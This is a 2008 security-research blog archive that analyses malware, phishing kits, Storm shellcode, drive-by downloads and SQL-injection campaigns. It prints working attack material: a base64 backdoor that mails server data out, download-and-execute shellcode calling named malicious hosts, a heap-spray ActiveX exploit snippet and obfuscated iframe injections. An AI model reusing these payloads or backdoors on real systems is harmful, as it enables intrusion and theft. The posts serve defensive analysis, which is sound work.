Menu:

Feed

RSS feed icon

Archives

Showing posts with tag malware. Show all posts.

Lost and found on phishing sites: mailers

July 14, 2008

This is the second installment in the series about interesting things found on web sites that are taken over to host phishing pages. This time, we talk about mailers (the first post was about PHP shells), and — little teaser — we keep a surprise for the end of the post.

So, the bad guys have just compromised a web server, uploaded a phishing kit, and deployed a perfect copy of, say, Bank of America. What's the next step? The attackers just have to attract victims to the site and hope that they will give away their credentials and other confidential information. The best way of doing it is to spam the world with emails claiming that the recipient's account has been suspended (or some other more or less plausible story) and that the situation can be solved by visiting the phishing site.

How do the phishers send the emails? If they don't want to rent a botnet, a cheap way is to use the compromised server's resources. And here is where a mailer comes useful. A mailer is a program, typically written in PHP, that has a web-based interface through which one can insert the mail's message and a list of recipients. The program then sends out the emails. Here is a screenshot of one of these mailers:

Screenshot of a mailer found on a phishing site

The mailers I've seen most frequently are Subzero, Str8 Inbox, PHP Mailer, ToXiC350 MailEr, Mailing Machine, Bulk Maileren, INBOX PHP-Mailer, Mailer All Inbox, Mass Fuckin Mailer Inbox, PHP-Mailer by Mr-Brain (a familiar name, isn't?). Furthermore, many of the PHP shells we have seen previously also offer mailer functionality.

Finally, here is one surprise I've found in one of the mailers whose source code was also left on the phishing site:

<?php
$a5 = $_SERVER['HTTP_REFERER'];
$b33 = $_SERVER['DOCUMENT_ROOT'];
$c87 = $_SERVER['REMOTE_ADDR'];
$d23 = $_SERVER['SCRIPT_FILENAME'];
$e09 = $_SERVER['SERVER_ADDR'];
$f23 = $_SERVER['SERVER_SOFTWARE'];
$g32 = $_SERVER['PATH_TRANSLATED'];
$h65 = $_SERVER['PHP_SELF'];
$message=$_POST['message'];
$msg = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";
echo eval(base64_decode("bWFpbCgiZ3JvZmlfaGFja0Bob3RtYWlsLmNvbSIsICRzdWJ
qOTgsICRtc2csICRtZXNzYWdlLCAkcmE0NCk7"));
?>

And the last string, if you don't read base64, really is:

mail("grofi_hack@hotmail.com", $subj98, $msg, $message, $ra44);

So, a little backdoor! What is a poor phisher to do? After phishing kits, one cannot even trust mailers...

Posted by marco in malware, phishing
Leave a comment!

Lost and found on phishing sites: PHP shells

July 12, 2008

It is not uncommon for phishing pages to be hosted on compromised web servers. When this happens, besides phishing, the web server is used for a variety of malicious activities. We have seen some time ago a case where such a site was hosting an XSS-based botnet tool.

With this post, I'll start a brief series (probably 3-4 installments in total) on the interesting things you can find on web sites that are taken over to host phishing pages. For today, the topic is PHP shells.

PHP shells are PHP scripts that allow one to execute a number of commands on a remote server through a simple web-based interface. They are used by attackers to easily manage the compromised server, install new tools, attack other sites, and so on.
Here is a screenshot of one of these shells (click on the image for a larger picture):

Screenshot of a PHP shell found on a phishing site

From what I've seen, the most commonly-used shells are C99Shell, w4ck1ng, N3tShell, Room Hacker shell, SimAttacker, Locus7s, Vop-Cr3W shell, storm7shell, Safe0ver, Enqu!nx, PHPShell, BK-Code Shell, r57shell, K-H shell, HaTeX shell, phpRemoteView, UniXShell, and BLaCkSHeLL. Of many of these shells, multiple versions exist, with changes ranging from simple modding (e.g., adding scrolling text in the header of the page saying "ccpower was here !") to the introduction of new features.

In terms of functionality, the basic commands include file system management (listing of directories, changing the attributes of files), file upload, and command execution on the server. More advanced features allow the attacker to

Some shells even have the ability to check for updates and to self-remove from the remote server. At least some people are keeping their software updated...

Posted by marco in malware, phishing
Leave a comment!

Storm's shellcode

July 11, 2008

The Storm group has launched a new campaign theme, based on the bogus story that World War III would be started. Incidentally, they are starting to be repetitive: they were using a very similar theme back in April 2007.

Besides the usual fake youtube video — you click on it and the download of the malicious binary starts — they are also using drive-by download techniques to infect their victims. An iframe points to the file ind.php, which attempts to perform a number of browser exploits. Nothing special here: everything is very similar to other javascript attacks.

The shellcode used by Storm is also very similar to what we have seen in the past, both functionally (download and execute a binary) and in the use of simple polymorphic techniques. However, there are some differences: one is that it doesn't store the hash values of the library functions to invoke at the end of the code. Sequences of hash values probably make for a good signature for IDS systems. Thus, this shellcode uses hash values inline (in what follows, find_function returns the address of a function, given the function's hash and the containing DLL's base address):

  00000033:   push esi                ; kernel32.dll base
  00000034:   push dword 0xec0e4e8e   ; LoadLibrary (hash)
  00000039:   call 0x13c<find_function>
  0000003E:   mov [ebp+0x4],eax
  00000041:   push esi
  00000042:   push dword 0xe8afe98    ; WinExec (hash)
  00000047:   call 0x13c<find_function>
  0000004C:   mov [ebp+0x8],eax
  0000004F:   push esi
  00000050:   push dword 0xc2ffb025   ; DeleteFileA (hash)
  00000055:   call 0x13c<find_function>
  0000005A:   mov [ebp+0xc],eax
  0000005D:   push esi
  0000005E:   push dword 0x60e0ceef   ; ExitThread (hash)
  00000063:   call 0x13c<find_function>
  00000068:   mov [ebp+0x10],eax
  0000006B:   push esi
  0000006C:   push dword 0xb8e579c1   ; GetSystemDirectoryA (hash)
  00000071:   call 0x13c<find_function>

Here is an example of how one these library functions is invoked. This is the function URLDownloadToFile from the urlmon DLL.

  000000EB:   xor ebx,ebx
  000000ED:   push ebx                ; NULL
  000000EE:   push ebx                ; NULL
  000000EF:   push dword [ebp+0x20]   ; ptr to "SYSDIR/~.exe"
  000000F2:   push eax                ; eax := addr of the URL
  000000F3:   push ebx                ; NULL
  000000F4:   mov eax,[ebp+0x1c]      ; eax := addr of URLDownloadToFile
  000000F7:   push byte +0x5
  000000F9:   pop ecx                 ; ecx := 5
  000000FA:   mov edx,[ebp+0x18]      ; edx := ptr to ret instruction
  000000FD:   call 0x125<call_lib_func>

The function that I named call_lib_func invokes the requested DLL function. It receives the number of parameters (in ecx), the function address (in eax), and the address of a ret instruction (in edx). It first sets up the stack (return address into the caller first, followed by the parameters, and the address of the ret instruction last), and then jumps to the library function's address. The weird stack manipulation is required since Win32 API functions use the __stdcall calling convention.

  00000125:   inc ecx                 ; ecx := # params + 1
  00000126:   pop ebx                 
  00000127:   push edx                
  00000128:   add esp,ecx
  0000012A:   add esp,ecx
  0000012C:   add esp,ecx
  0000012E:   add esp,ecx             ; esp points past the last parameter
fixup_stack_for_stdcall:
  00000130:   sub esp,byte +0x4
  00000133:   pop edx
  00000134:   push ebx
  00000135:   mov ebx,edx
  00000137:   loop 0x130<fixup_stack_for_stdcall>
  00000139:   push edx                ; edx points to ret instruction
  0000013A:   jmp eax                 ; eax holds address of lib function

The final effect of the shellcode is:

  1. a binary is downloaded, in the case I've analyzed, from http://activeware.cn/load.php?bof,
  2. the binary is saved on the victim's filesystem, and
  3. it's executed

Posted by marco in malware, binary
Leave a comment!

Polymorphic shellcode

July 5, 2008

In web-based attacks, such as the ones employed in the recent SQL injection attacks, you have to go through three layers of JavaScript obfuscation and as many redirects before getting to the actual exploit code. And, the tricks of the attackers do not stop here.

In fact, attackers are also using polymorphic techniques to mutate the code of their shellcode and avoid detection by anti-virus and anti-malware tools.

This is the beginning of the shellcode found in one these attacks:

00000000:  E800000000        call 0x5
00000005:  5D                pop ebp
00000006:  83C514            add ebp,byte +0x14 ; ebp = 0x19
00000009:  B98D010000        mov ecx,0x18d      ; for i in range(0x18d):
0000000E:  B0A1              mov al,0xa1
00000010:  304500            xor [ebp+0x0],al   ;   [ebp] = [ebp] ^ 0xa1
00000013:  45                inc ebp            ;   ebp += 1
00000014:  49                dec ecx
00000015:  75F9              jnz 0x10
00000017:  EB00              jmp short 0x19
00000019:  3131              xor [ecx],esi
0000001B:  3131              xor [ecx],esi
0000001D:  ...

The code gets the current EIP, skips 0x14 additional bytes (the decryption instructions), and xors the remaining 0x18d bytes with the value 0xa1. After undoing the obfuscation, one obtains the same shellcode we have seen some time ago:

00000019:  90                nop
0000001A:  90                nop
0000001B:  90                nop
0000001C:  90                nop
0000001D:  90                nop
0000001E:  90                nop
0000001F:  90                nop
00000020:  90                nop
00000021:  E9FC000000        jmp 0x122
00000026:  5F                pop edi
00000027:  64A130000000      mov eax,[fs:0x30]
0000002D:  780C              js 0x3b
0000002F:  8B400C            mov eax,[eax+0xc]
00000032:  8B701C            mov esi,[eax+0x1c]
00000035:  AD                lodsd
00000036:  8B6808            mov ebp,[eax+0x8]
00000039:  EB09              jmp short 0x44
0000003B:  ...

Posted by marco in malware, binary
Leave a comment!

Mapping the SQL injection campaigns

July 2, 2008

In the past few weeks, there have been a number of rounds of massive SQL injection attacks. The attacks inject a script tag in every textual column of the vulnerable databases. This script tag includes a script from a remote site, which I call the injected site. This script, usually, redirects the browser to a second script (possibly on a different site, the target site), which, finally, carries out the actual attack. These attacks are similar to the one I've described before.

For those who are interested, M. Zino has written a good description of the SQL injection mechanism, D. Danchev has an impressive list of high-profile victims of the attack, and the folks at dynamoo keep track of the malicious domains involved in the campaigns.

Collecting data about the injection campaigns is not difficult. For example, most dynamic pages store their title in a textual column in a database. If the application is vulnerable to a SQL injection attack, the injected script tag will be found (also) in the title of the page. Therefore, search queries similar to:

intitle:"<script src=http"

will reveal a large number of victims of the attack. Adding additional terms to the query will return different result sets. Since Google, Yahoo, and MSN Live offer programmatic access to their search engines, it is possible to automate the data collection process.

Visualizing the data that I have collected reveals some interesting things. First, the injection campaigns are indeed massive. Here is a graph showing a small portion of the data I have. Blue circles represent domains that were victims of the attack. Orange circles represent domains that hosted the injected script, i.e., "injected domains".

Victim and injected domains in SQL injection attacks

Certain pages ended up being victim of a large number of injections. Here is a case with 29 injected script tags.

A victim of many injection attacks

Conversely, certain domains appear in a large number of injected tags. These are the super villains of the SQL injection campaigns (e.g., xprmn4u.info).

Finally, it is interesting to observe the structure of links between malicious domains. Here, orange circles are, as before, domains that appear in the injected script tags, while blue circles are "target domains", i.e., domains to which the browser is redirected to by the injected script.

For example, consider the node www.app52.com in the lower-left corner of the graph. At least a page was injected with a script tag pointing to a JavaScript script on www.app52.com. This script redirects through an iframe to a script on base48.com. Notice how certain domains (e.g., batch29.com, in the middle of the graph) are the target of many different redirections. Conversely, several injected domains (e.g., www.datajto.com) redirect to different targets. This is because the injected script contains different targets every time it is fetched.

Posted by marco in malware
Leave a comment!

JavaScript attack - part II

June 24, 2008

Last time, we have seen how malicious code is delivered to the browser during a web attack. We left with a script that targeted 4 different vulnerabilities, but we didn't look at what activity is actually performed during the attack. Here, we will look at the actual exploitation.

Let's meet the shellcode:

var YuL42y0W = unescape("%u9090%u9090%u9090%u9090%ufce9%u0000%u5f00%ua164%u0030
%u0000%u0c78%u408b%u8b0c%u1c70%u8bad%u0868%u09eb%u408b%u8d34%u7c40%u688b%u8b3c
%u6af7%u5904%u8fe8%u0000%ue200%u68f9%u6e6f%u0000%u7568%u6c72%u546d%u16ff%ue88b
%u79e8%u0000%u8b00%u47d7%u3f80 %u7500%u47fa%u4757%u3f80%u7500%u8bfa%u5fef%uc933
%uec81%u0104%u0000%udc8b%u5251%u6853%u0104%u0000%u56ff%u5a0c%u5159%u8b52%u5302
%u8043%u003b%ufa75%u7b81%u2efc%u7865%u7565%u8303%u08eb%u0389%u43c7%u2e04%u7865
%uc665%u0843%u5b00%uc18a%u3004%u4588%u3300%u50c0%u5350%u5057%u56ff%u8310%u00f8
%u0675%u016a%uff53%u0456%u595a%uc283%u4104%u3a80%u7500%uffb4%u0856%u5651%u758b
%u8b3c%u2e74%u0378%u56f5%u768b%u0320%u33f5%u49c9%uad41%uc503%udb33%ube0f%u3a10
%u74d6%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee7%u5e8b%u0324%u66dd%u0c8b%u8b4b
%u1c5e%udd03%u048b%u038b%uabc5%u595e%ue8c3%ufeff%uffff%u4e8e%uec0e%ufe98%u0e8a
%ud87e%u73e2%uca33%u5b8a%u1a36%u702f%u6943%u4a79%u466a%u774c%u6800%u7474%u3a70
%u2f2f%u6461%u6973%u6574%u6f6c%u632e%u6d6f%u632f%u6967%u622d%u6e69%u692f%u646e
%u7865%u632e%u6967%u373f%u6530%u6630%u3562%u3035%u3031%u6230%u3766%u3030%u3732
%u6537%u6530%u3564%u3038%u3336%u3935%u3535%u6565%u3031%u3338%u6138%u3465%u6139
%u3062%u3030%u3030%u3730%u3066%u3030%u3030%u3030%u3030%u3038%u0000");

It's easy to unescape the shellcode and generate the corresponding object code. It turns out that the shellcode is very elegant: it should work on different versions of Windows (9x and XP) and is independent of the position in memory of the various library and functions. The final goal of the code is to download a file from a specific URL and to execute it. Let's see how this is done.

First, the shellcode obtains the address of kernel32.dll. It uses the PEB-based technique first described by The Last Stage of Delirium:

  0000000E    mov eax,[fs:0x30]         ; get the PEB
  00000014    js 0x22<find_kernel32_9x>
find_kernel32_nt:
  00000016    mov eax,[eax+0xc]         ; get ptr to PEB_LDR_DATA
  00000019    mov esi,[eax+0x1c]        ; get 1st entry of InInitalizationOrderModuleList
  0000001C    lodsd
  0000001D    mov ebp,[eax+0x8]         ; get kernel32.dll base
  00000020    jmp short 0x2b
find_kernel32_9x:
  00000022    mov eax,[eax+0x34]
  00000025    lea eax,[eax+0x7c]
  00000028    mov ebp,[eax+0x3c]

Once the base address of kernel32.dll is known, it can be used to identify the address of useful functions exported in this DLL. To do so, the shellcode defines a routine, let's call it find_function, that walks the export name table of the given DLL and looks for a given function name. Instead of matching directly on the name of the function, the shellcode computes a simple hash of the name, and uses that to locate interesting functions. This is probably done to save some space and obfuscate the purposes of the code.

The find_function expects two parameters: the base address of the DLL (contained in the ebp register) and a pointer to the hash of the function to identify (in the edi register):

find_function:
  000000C4    push ecx  
  000000C5    push esi
  000000C6    mov esi,[ebp+0x3c]        ; get the PE header
  000000C9    mov esi,[esi+ebp+0x78]
  000000CD    add esi,ebp
  000000CF    push esi
  000000D0    mov esi,[esi+0x20]        ; get the export name table
  000000D3    add esi,ebp
  000000D5    xor ecx,ecx
  000000D7    dec ecx
hash_init:
  000000D8    inc ecx
  000000D9    lodsd
  000000DA    add eax,ebp
  000000DC    xor ebx,ebx               ; ebx stores the computed hash
hash_update:
  000000DE    movsx edx,byte [eax]
  000000E1    cmp dl,dh
  000000E3    jz 0xed<hash_done>
  000000E5    ror ebx,0xd
  000000E8    add ebx,edx
  000000EA    inc eax
  000000EB    jmp short 0xde<hash_update>
hash_done:
  000000ED    cmp ebx,[edi]             ; have we found the given hash?
  000000EF    jnz 0xd8<hash_init>
  000000F1    pop esi
  000000F2    mov ebx,[esi+0x24]
  000000F5    add ebx,ebp
  000000F7    mov cx,[ebx+ecx*2]
  000000FB    mov ebx,[esi+0x1c]
  000000FE    add ebx,ebp
  00000100    mov eax,[ebx+ecx*4]
  00000103    add eax,ebp
  00000105    stosd                     ; store the address in place of the hash
  00000106    pop esi
  00000107    pop ecx
  00000108    ret

The hash value is computed with simple ror and add operations. I use the following code to compute the hash of a function name:

unsigned int ror(unsigned int num, int places) {
    return (num >> places) | (num << (32 - places));
}

unsigned int get_hash(const char *name) {
    const char *ch;
    unsigned int hash = 0;

    for (ch = name; *ch; ch++) {
        hash = (ror(hash, 0xd) + *ch);
    }   

    return hash;
}

The hashes of the functions to locate are stored in a table at the end of the shellcode. With the above program and a list of all the functions in kernel32.dll (obtained from here), it is easy to indentify the name of the corresponding functions:

  0000010E      dd 0EC0E4E8Eh           ; LoadLibraryA (hash)
  00000112      dd 0E8AFE98h            ; WinExec (hash)
  00000116      dd 73E2D87Eh            ; ExitProcess (hash)
  0000011A      dd 5B8ACA33h            ; GetTempPathA (hash)
  0000011E      dd 702F1A36h            ; URLDownloadToFileA (hash)

At this point, the shellcode loads urlmon.dll and finds the function URLDownloadToFileA:

  00000037    push dword 0x6e6f
  0000003C    push dword 0x6d6c7275
  00000041    push esp
  00000042    call near [esi]           ; LoadLibraryA("urlmon")
  00000044    mov ebp,eax
  00000046    call 0xc4<find_function>  ; find_function(urlmon.dll, URLDownloadToFileA)

The shellcode then creates a temporary file (using the GetTempPathA function), downloads a file from http://adsitelo.com/cgi-bin/index.cgi?70e0fb55074f01200277e0ed580235955ee10238ae49dd 0000000000000000010 (using the URLDownloadToFileA function), executes the downloaded file (via WinExec), and finally exits (ExitProcess).

Not bad for what initially just looked like a long string in a JavaScript script...

Posted by marco in malware, javascript, binary
Leave a comment!

JavaScript attack - part I

June 23, 2008

JavaScript-based attacks are getting more and more sophisticated, thanks probably to the use of exploit toolkits. Here is an example of a few days ago. The domain involved was adsitelo.com, which seems to have been involved in a round of SQL injection attacks.

As a start, it is interesting to note that the domain was (likely) fast-fluxed. Some of the IP addresses associated with it were 129.118.49.144, 150.254.2.155, 66.40.18.206, 70.244.115.171, 75.71.118.180, 79.94.146.249, 88.107.136.34, 99.234.157.198, and 99.246.193.180.

The initial step of the attack is a redirection: the page http://adsitelo.com/cgi-bin/index.cgi?ad redirects to http://adsitelo.com/cgi-bin/index.cgi?4d386e82074f01200077e0ed580235955ee1020576c246ff0000000000010000. Now, if you tried to directly download the landing page, you would be presented with a 500 error page. The real content, in fact, is reachable only under two conditions: the User-Agent identifies the browser as Internet Explorer or Firefox, and the Referer is correctly set. wget allows us to quickly work around these problems:

$ wget --connect-timeout=3 --user-agent="Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)" \
--referer=http://adsitelo.com/cgi-bin/index.cgi?ad \
"http://adsitelo.com/cgi-bin/index.cgi?4d386e82074f01200077e0ed580235955ee1020576c246ff0000000000010000"

The downloaded document is a JavaScript page:

function X88MxUL0B(U1TaW1TwV, IyxC82Rbo){var c5kJu150o = 4294967296;
var s3KRUV5X6 = arguments.callee;s3KRUV5X6 = s3KRUV5X6.toString();
s3KRUV5X6 = s3KRUV5X6 + location.href;var s4wL1Rf57 = eval;
var SLpdE73p3 = s3KRUV5X6.replace(/\W/g, "");SLpdE73p3 = SLpdE73p3.toUpperCase();
...
var Cm6B7c5TS = 0;try {s4wL1Rf57(LR8yTdO7t);} catch(e) {Cm6B7c5TS = 1;}
try {if (Cm6B7c5TS) {window.location = "/";}} catch(e) {}}
X88MxUL0B('ACada193b99ca7a4667B9668b2A3876BBF705b7Ba96799A578A165687
...
7C6E69667B6c6E6d7c6B69947C676d9A7d6D676279665F5f81');

The script consists of two parts: a decryption routine (named X88MxUL0B) and the encrypted payload (the long string at the end of the script). There are two things to notice in the script:

  1. It uses the well-known arguments.callee.toString() function to prevent modification to the body of the decryption routine.
  2. The code uses the location.href property as part of the decryption key, so that analyses that don't set it correctly will not be able to reconstruct the malicious payload. Another interesting feature of the script is that, on successive requests, the payload was encrypted using different keys, so that it appeared different.

In any case, decrypting the payload is not difficult. I just prepend the following lines to the original script and pass it to Rhino:

location={href:'http://adsitelo.com/cgi-bin/index.cgi?ad'};
eval=print;

The first sets the location.href property as required, the second prints to the console all the strings passed to the eval function for evaluation. The result is... another obfuscated script, exactly similar to the one just decrypted. So, let's apply another round of decryption.

This time, we get a clear-text JavaScript script. The script sets a cookie (probably to show that exploitation is under way) and attempts to perform three attacks. The attacks seem to target vulnerabilities CVE-2006-5820, CVE-2007-5779, and CVE-2007-0015. The Firefox version of the malicious script contains only one attack, probably targeting CVE-2006-0005.

As an example, the code for one of these attacks is:

try {
    var AMOoik_m = new ActiveXObject("GomWebCtrl.GomManager.1");
    if (AMOoik_m) {
        Exhne69P();
        var Amce264J='';
        var dHSLlQxf = 506;

        for(var M13B4SOH=0;M13B4SOH<dHSLlQxf;M13B4SOH++)
            Amce264J += "A";

        Amce264J += unescape("%0c%0c%0c%0c");

        dU578_go(13);
        AMOoik_m.OpenURL(Amce264J);
    }
} catch(e) {
}

The function dU578_go sets a cookie. The function Exhne69P uses heap spray techniques to actually complete the exploit. But this is material for another post :-)

Posted by marco in malware, javascript
Leave a comment!

'tis the season (for some phishers)

June 21, 2008

Phishers do put a lot of effort into creating a successful phishing site. They register domains that look like the legitimate ones, set up fast-flux infrastructures, compromise vulnerable machines to deploy phishing kits, send lots of emails to attract victims.

However, sometimes phishers slip up. For example, deploying a Christmas-themed PayPal phishing site in June is, well, a giveaway...

Screenshot of PhishTank entry #463234 using a Christmas-themed copy of PayPal

Happy holidays!

Posted by marco in malware, phishing
Leave a comment!

An old phishing trick

June 17, 2008

Certain old tricks just don't want to go away. By all standards, the fake address bar trick must be a classic. It consists of showing an image that looks like the browser's address bar at the top of the page, displaying a legitimate URL.

A recent reappearance of this trick occurred in PhishTank entry 459204. The phishing pages were hosted on lsarccc.com, but the fake address bar displays the more reassuring domain www.lloydstsb.com.

Screenshot of PhishTank entry #459204 using the fake address bar trick

Welcome back...

Posted by marco in malware, phishing
Leave a comment!

Obfuscated phish

June 9, 2008

One interesting twist in phishing is the use of obfuscation to masquerade the real content of phishing pages. PhishTank entry 444100 was a good example of this new "evolution".

The main page of the phish replicates the login page of eBay. As is commonly done, the login form is handled by a PHP script on the vulnerable server. More interesting are the links to other resources, Consider, for example, the link to the page describing the policies of the targeted site. It also points at a local file, named k.html. However, k.html uses JavaScript to obfuscate its contents:

document.write(unescape("%3C%53%43%52%49...%50%54%3E"));
hp_d00(unescape("%3C%53%43%52...50%54%3E"));
hp_d00(unescape("%3C%48%45%41...%41%44%3E"));
hp_d00(unescape("%3C%42%4F%44...44%59%3E"));

It is trivial to revert the obfuscation and reveal the actual content:

<SCRIPT LANGUAGE="JavaScript"><!--
hp_ok=true;function hp_d00(s){if(!hp_ok)return;document.write(s)}
//--></SCRIPT>
<SCRIPT LANGUAGE="JavaScript"><!--
function hp_ne(){return true}onerror=hp_ne;
if(navigator.userAgent.indexOf('Opera')!=-1)
    window.location="about:blank";
//--></SCRIPT>
<HEAD><META HTTP-EQUIV="Pragma" CONTENT="No-Cache"><META NAME="Robots"
CONTENT="NoIndex"><META HTTP-EQUIV="Expires" CONTENT="-1"></HEAD>
<BODY><meta http-equiv="Refresh"
content="0;url=http://pages.ebay.com/help/policies/hub.html?ssPageName=f:f:US">
</BODY>

The generated HTML code redirects to the appropriate page on the legitimate eBay site. Note that, by using a refresh redirect (never mind that it should be in the head section of the file, rather than in the body), the phishing site clears the referer header and, thus, evades simple hotlinking analysis. At this point, it is not clear to me why the script handles opera differently. Suggestions?

Posted by marco in malware, phishing
Leave a comment!

MySpace hack

May 22, 2008

After hearing all kinds of stories about bad security at MySpace, I finally found a hacked profile. The profile, cyn7777, has now been cleaned up, so some parts of what follows will not work anymore.

The key of the attack were the following lines that were inserted in the profile's main page:

<a href="http://www.msplinks.com/MDFodHRwOi8vY29tLmNvbS9yZWRpcj9lZEl
kPTMmZGVzdFVybD1mdHA6Ly9taWNyb3NvZnBjZW50ZXI3MS5jbi9LQjg5MDgzMS5leG
U="><img
src="http://img341.imageshared.cn/.." style="position:absolute;
left:0px; top: 0px;" border="0"></a>

The code loaded an image similar to the following one and superimposed it to the page's contents. The actual image had 990x990 dimensions and transparent background, so, at first sight, the figure could be taken for a system's window: a classic picture-in-picture attack.

Screenshot of the fake removal tool window

Clicking anywhere on most of the page caused the browser to visit the base64-looking URL on msplinks.com. It turns out that back in April 2007 MySpace started to convert certain links to redirects through the msplinks.com site (check out the source of its index page :-)). The goal? "To easily turn off links to spam, phishing, or virus sites".

It looks like that didn't work too well... In fact, the link on msplinks.com (still) redirects to

(Incidentally, nice open redirector, cnet.com!)

The ftp site is still active and serves a bunch of exe files (all identical, except for their names). It seems the files have been changed in the last few days, probaby to evade detection from anti-virus tools. In any case, VirusTotal recognizes the old and the new version as some form of trojan/downloader. According to anubis, among other things, the binaries launch Internet Explorer and visit http://mycashloads.com/newuser.php?saff=373.0, which, however, redirects to yahoo.com.

Posted by marco in malware
Leave a comment!

Phish by SMS

May 16, 2008

And when you thought you knew all the tricks to detect phishing sites, had installed all the anti-phish browser plugins, and had developed a bunch of heuristics to identify phishing e-mails at first sight, they change the medium.

This morning I received the following SMS from 1010100001:

FRM:security@rabobankamerica.com
SUBJ:ALERT
MSG:Your Rabobank America account is closed due to unusual activity,
call us now at 8603830711.

Besides the obviously bogus source number, the fact that I don't have an account at Rabobank America was sort of a give away... The phone number turned out to be already disconnected, but I suspect I would have found a voice message asking for my credentials and other confidential information.

I think this is an interesting development. First, we are certainly less experienced at considering SMS content as suspicious. If you receive SMSs only from friends (and possibly the annoying advertisements from your carrier), you may think SMSs are trustworthy by default. Second, on cell phones, we may have less possibilities to check the authenticity of received messages: my (admittedly, very cheap and unsophisticated) phone has no anti-phish SMS plugin and no browser.

From the attacker's point of view, it would be interesting to see how they are paying for sending the messages. Compromised accounts on an SMS-sending web site? Stolen credit card? Other suggestions?

Posted by marco in malware, phishing
Leave a comment!

Phished and botted

May 11, 2008

It's not uncommon for attackers to exploit a vulnerable web server and use it for several different purposes: maximization of the return on investment, some might say. Case in point are three recent entries in PhishTank (439391, 439479, and 442568).

As the PhishTank reference says, these sites were used to host phishing pages. Nothing special here: the usual replicas of banking and governmental web sites. More interestingly, all the legitimate HTML pages on the sites were modified to include the following script tag:

<script src="http://216.214.109.45/private/xxx/xssshell.asp?v=336699"></script>

This code fetches a copy of the XSS Shell, a tool that essentially transforms the browser into a bot, controllable by the attacker through cross-site scripting (XSS) mechanisms. The tool, published at the end of 2006 as a proof-of-concept of XSS, comes with a useful set of predefined commands (e.g., start keylogging, get internal IP, launch DoS attack), is prepackaged with a nice administration interface, and has extensive documentation.

It turns out that the attacker hasn't fully read the xssshell instructions, in particular the part on installing the back-end database outside of the document root, with the effect that the database is publicly accessible... The database contains information about the victims of the tool and a log of the attacker's commands. After opening the database, a MS Access file readable with the MDB Tools, it is possible to reconstruct some of the attacker's activity.

Here are the highlights:

Posted by marco in malware, phishing, botnets
Leave a comment!

A look at the Storm codec campaign's fastflux

April 29, 2008

Kind of late, but better than never I guess :-)

At the beginning of the months, the Storm gang got quite some coverage by launching a new attack campaign, based, this time, on a codec theme. Essentially, the gang tries to convince people to install a piece of malware (apparently, a NUWAR/Storm variant), by using the common social engineering trick of a missing video codec.

An interesting detail about the campaign was that it used a fastflux domain name, i.e., supersameas.com. Let's take a look at its infrastructure.

On April 9, I started to query the supersameas name servers to harvest the IP addresses associated with the campaign. At each request, the name server would reply with one IP address with 0 TTL. I continued to query the server until it gave me for 30 consecutive times addresses that I had already seen. At that point, I switched to a new name server, and so on.

In total, I collected 1416 IP addresses from 405 ASes. For about 100 IPs, I could not get the corresponding AS, so what follows may be slightly skewed. The ASes with more than 20 addresses were:

In terms of geographical distribution, the affected ASes were in the following countries:

Starting on April 10 at 11:27:18 PST, I also monitored for a few days if the addresses used by the campaign were still up and running, and serving the malicious content of the campaign. The following figure shows how many sites were still compromised at intervals of one hour.

Hour-by-hour statistics about the number of live sites: 0:378,10:118,20:33,30:16,40:8,50:5,60:2,70:1,80:1

Notice that almost 75% of the hosts had already been taken down (or were otherwise unreachable) when I started the measurement. After about 12 hours, the number of live sites drops lower than 100; after other 12 hours, it is reduced by a factor of 5, down to just 21 sites. It finally reaches 1 site after some 67 hours and stays like that for at least other 3 days.

Posted by marco in malware
Leave a comment!

Anatomy of a drive-by download

April 14, 2008

Lately, there has been a lot of interest in drive-by downloads and at least a couple of very good studies on this phenomenon.

Here, I will discuss in details some of the more technical aspects of these attacks, using a specific case study. Note: the malicious page is now gone, but some of the other resources may still be up and running...

Redirections

The first step of the attack consists of redirecting the victim's browser to a number of "attack pages" that attempt to exploit various vulnerabilities and cause malware to be installed and run automatically. The redirection is typically done by injecting iframes in a page. Often, the injection is masqueraded by using a number of obfuscation techniques.

In our case, the injecting page contains two injections. The first injection uses the unescape function to cover its purpose:

document.writeln(unescape ('%3c%49%46%52%41%4d%45%20%6e%61%6d%65
%3d%63%38%33%33%36%35%65%35%64%37%61%61%20%73%72%63%3d%27%68%74%74
%70%3a%2f%2f%74%61%70%6b%69%2e%63%6e%2f%31%2e%68%74%6d%6c%3f%27%2b
%4d%61%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d
%28%29%2a%33%30%32%39%35%29%2b%27%34%66%35%62%27%20%77%69%64%74%68
%3d%38%33%20%68%65%69%67%68%74%3d%33%36%35%20%73%74%79%6c%65%3d%27
%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%27%3e%3c%2f%49%46%52%41%4d
%45%3e'));

Once decoded, the escaped string reads:


    <IFRAME name=c83365e5d7aa src='http://tapki.cn/1.html?' + 
    Math.round(Math.random()*30295)+'4f5b' width=83 height=365 
    style='display:none'></IFRAME>

The second injection uses a couple of different tricks: randomized variable and function names, and manual string decoding:

function BD37A78D25DEEF10B10A677B5F0(B9D5D6B429B3B9BD29A08C8){
return(parseInt(B9D5D6B429B3B9BD29A08C8,16));}function 
D5281A4C55A9736772D3539EA51(D6242D36DFD76213ED900E11FDA){function
C56A17251C947C7EF(){var D83D6CE95B0A38CD6F=2;return
D83D6CE95B0A38CD6F;}var D71C351C9A9105908A5D4D9624954="";for(
CEDB124A2EA9FE61EB10A584FE0E8=0;CEDB124A2EA9FE61EB10A584FE0E8&lt;
D6242D36DFD76213ED900E11FDA.length;CEDB124A2EA9FE61EB10A584FE0E8+=
C56A17251C947C7EF()){D71C351C9A9105908A5D4D9624954+=
(String.fromCharCode(BD37A78D25DEEF10B10A677B5F0(
D6242D36DFD76213ED900E11FDA.substr(CEDB124A2EA9FE61EB10A584FE0E8,
C56A17251C947C7EF()))));} document.write(D71C351C9A9105908A5D4D9624954);
}D5281A4C55A9736772D3539EA51("3C696672616D65207372633D687474703A2F2F
6164767464732E6661737466696E642E696E666F2F6164767464732F6F75742E7068
703F735F69643D32302077696474683D31206865696768743D31207374796C653D22
646973706C61793A6E6F6E65223E3C2F696672616D653E");

To quickly recover the code, I redefine the document object to print to the console (document={write:print}) and run the script in rhino:


    <iframe src=http://advtds.fastfind.info/advtds/out.php?s_id=20
    width=1 height=1 style="display:none"></iframe>

Exploits

A typical attack page contains a barrage of exploits targeting a variety of exploits in different versions of the browser, operating system, and other programs. As we will see, our case study is not an exception.

